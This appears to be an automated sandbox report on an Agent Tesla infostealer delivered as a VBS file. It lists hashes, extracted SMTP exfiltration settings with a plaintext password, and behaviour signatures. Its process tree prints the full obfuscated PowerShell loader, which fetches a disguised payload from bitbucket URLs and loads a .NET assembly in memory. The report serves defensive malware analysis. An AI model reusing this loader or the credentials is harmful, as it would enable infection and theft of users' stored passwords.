Analysis
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max time kernel
149s -
max time network
108s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
18/05/2024, 18:33
Static task
static1
Behavioral task
behavioral1
Sample
pending delivery needs attention.vbs
Resource
win7-20240508-en
General
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Target
pending delivery needs attention.vbs
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Size
24KB
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MD5
24588c6c8f2c4df9be1ddcacd5ecccb6
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SHA1
e244912cd9f14ce2c4c3a770210dec3900497d7d
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SHA256
477f68c15edf37afedccfc3c535abd28d9b61b4a37fc925130948f32b173864f
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SHA512
222888e2ff2350e48e204760dab87ddaee8a937aa3ecfa94733de1f44a0c67ab3c382b2c2ce67d301ad657a6b7db2554a3e6a70a1314024072d70d9bdacb4481
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SSDEEP
384:GEP0KlhqHDn7sDsOsPaigF6cjV7y13MTxSiMFpWrd2Wxol4cgbiduG:GENhj/AaiVcjV7e3uSwzyl4P+duG
Malware Config
Extracted
agenttesla
Protocol: smtp- Host:
mail.privateemail.com - Port:
587 - Username:
[email protected] - Password:
Amen2024@@ - Email To:
[email protected]
Signatures
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AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
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Blocklisted process makes network request 3 IoCs
flow pid Process 8 1664 powershell.exe 10 1664 powershell.exe 32 1664 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 3584 powershell.exe 1664 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\Control Panel\International\Geo\Nation WScript.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
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Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 6 bitbucket.org 8 bitbucket.org -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1664 set thread context of 5100 1664 powershell.exe 96 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 3584 powershell.exe 3584 powershell.exe 1664 powershell.exe 1664 powershell.exe 5100 RegAsm.exe 5100 RegAsm.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 3584 powershell.exe Token: SeDebugPrivilege 1664 powershell.exe Token: SeDebugPrivilege 5100 RegAsm.exe -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 1704 wrote to memory of 3584 1704 WScript.exe 82 PID 1704 wrote to memory of 3584 1704 WScript.exe 82 PID 3584 wrote to memory of 1664 3584 powershell.exe 84 PID 3584 wrote to memory of 1664 3584 powershell.exe 84 PID 1664 wrote to memory of 5100 1664 powershell.exe 96 PID 1664 wrote to memory of 5100 1664 powershell.exe 96 PID 1664 wrote to memory of 5100 1664 powershell.exe 96 PID 1664 wrote to memory of 5100 1664 powershell.exe 96 PID 1664 wrote to memory of 5100 1664 powershell.exe 96 PID 1664 wrote to memory of 5100 1664 powershell.exe 96 PID 1664 wrote to memory of 5100 1664 powershell.exe 96 PID 1664 wrote to memory of 5100 1664 powershell.exe 96
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\pending delivery needs attention.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1704 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gg#ZwBk#GY#a#Bk#GY#ZwBk#C8#d#Bl#HM#d##v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#bgBl#Hc#XwBp#G0#YQBn#GU#LgBq#H##Zw#/#DE#N##0#DQ#MQ#3#DI#MQ#n#Cw#I##n#Gg#d#B0#H##cw#6#C8#LwBi#Gk#d#Bi#HU#YwBr#GU#d##u#G8#cgBn#C8#a#Bn#GQ#ZgBo#GQ#ZgBn#GQ#LwB0#GU#cwB0#C8#Z#Bv#Hc#bgBs#G8#YQBk#HM#LwBu#GU#dwBf#Gk#bQBh#Gc#ZQ#u#Go#c#Bn#D8#MQ#0#DQ#N##x#Dc#Mg#z#Cc#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#D0#I#BE#G8#dwBu#Gw#bwBh#GQ#R#Bh#HQ#YQBG#HI#bwBt#Ew#aQBu#Gs#cw#g#CQ#b#Bp#G4#awBz#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#I##t#G4#ZQ#g#CQ#bgB1#Gw#b##p#C##ew#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#I##9#C##WwBT#Hk#cwB0#GU#bQ#u#FQ#ZQB4#HQ#LgBF#G4#YwBv#GQ#aQBu#Gc#XQ#6#Do#VQBU#EY#O##u#Ec#ZQB0#FM#d#By#Gk#bgBn#Cg#J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I##k#HM#d#Bh#HI#d#BG#Gw#YQBn#C##PQ#g#Cc#P##8#EI#QQBT#EU#Ng#0#F8#UwBU#EE#UgBU#D4#Pg#n#Ds#I##k#GU#bgBk#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBF#E4#R##+#D4#Jw#7#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#C##PQ#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#LgBJ#G4#Z#Bl#Hg#TwBm#Cg#J#Bz#HQ#YQBy#HQ#RgBs#GE#Zw#p#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#GU#bgBk#EY#b#Bh#Gc#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#Gk#Zg#g#Cg#J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#C##LQBn#GU#I##w#C##LQBh#G4#Z##g#CQ#ZQBu#GQ#SQBu#GQ#ZQB4#C##LQBn#HQ#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#KQ#g#Hs#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##r#D0#I##k#HM#d#Bh#HI#d#BG#Gw#YQBn#C4#T#Bl#G4#ZwB0#Gg#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GI#YQBz#GU#Ng#0#Ew#ZQBu#Gc#d#Bo#C##PQ#g#CQ#ZQBu#GQ#SQBu#GQ#ZQB4#C##LQ#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YgBh#HM#ZQ#2#DQ#QwBv#G0#bQBh#G4#Z##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#UwB1#GI#cwB0#HI#aQBu#Gc#K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#L##g#CQ#YgBh#HM#ZQ#2#DQ#T#Bl#G4#ZwB0#Gg#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YwBv#G0#bQBh#G4#Z#BC#Hk#d#Bl#HM#I##9#C##WwBT#Hk#cwB0#GU#bQ#u#EM#bwBu#HY#ZQBy#HQ#XQ#6#Do#RgBy#G8#bQBC#GE#cwBl#DY#N#BT#HQ#cgBp#G4#Zw#o#CQ#YgBh#HM#ZQ#2#DQ#QwBv#G0#bQBh#G4#Z##p#Ds#I##k#Gw#bwBh#GQ#ZQBk#EE#cwBz#GU#bQBi#Gw#eQ#g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#UgBl#GY#b#Bl#GM#d#Bp#G8#bg#u#EE#cwBz#GU#bQBi#Gw#eQBd#Do#OgBM#G8#YQBk#Cg#J#Bj#G8#bQBt#GE#bgBk#EI#eQB0#GU#cw#p#Ds#I##k#HQ#eQBw#GU#I##9#C##J#Bs#G8#YQBk#GU#Z#BB#HM#cwBl#G0#YgBs#Hk#LgBH#GU#d#BU#Hk#c#Bl#Cg#JwB0#GU#cwB0#H##bwB3#GU#cgBz#Gg#ZQBs#Gw#LgBI#G8#bQBl#Cc#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#G0#ZQB0#Gg#bwBk#C##PQ#g#CQ#d#B5#H##ZQ#u#Ec#ZQB0#E0#ZQB0#Gg#bwBk#Cg#JwBs#GE#Jw#p#C4#SQBu#HY#bwBr#GU#K##k#G4#dQBs#Gw#L##g#Fs#bwBi#Go#ZQBj#HQ#WwBd#F0#I##o#Cc#d#B4#HQ#LgBh#GM#Z#Bq#EE#ZgBt#C8#cwBl#Gw#aQBm#C8#bwBy#H##LgBk#Gw#ZQBp#Gg#cwBv#G4#YQBu#C8#Lw#6#HM#c#B0#HQ#a##n#Cw#I##n#D##Jw#s#C##JwBT#HQ#YQBy#HQ#dQBw#E4#YQBt#GU#Jw#s#C##JwBS#GU#ZwBB#HM#bQ#n#Ck#KQB9#H0#';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('#','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3584 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441721', 'https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.acdjAfm/selif/orp.dleihsonan//:sptth', '0', 'StartupName', 'RegAsm'))}}"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1664 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5100
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
3KB
MD5906a96ab3d13d754809f312628f6e4ac
SHA14f1f3d49c788e5736c31904eaf4683ea4e8683c6
SHA25669f03040bf4208bbfc3617a35799ad9897c2235df7832dc7687c8b91ef2f99e8
SHA512a0f5fad77325a869edb9a80beb4f2604c5f6d5af652f21a2283e366cd32d42f6fb2f4761d596c6a77a2d83fda4ab52d9a645aedbce5295223c0e30faf306a851
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Filesize
64B
MD550a8221b93fbd2628ac460dd408a9fc1
SHA17e99fe16a9b14079b6f0316c37cc473e1f83a7e6
SHA25646e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e
SHA51227dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82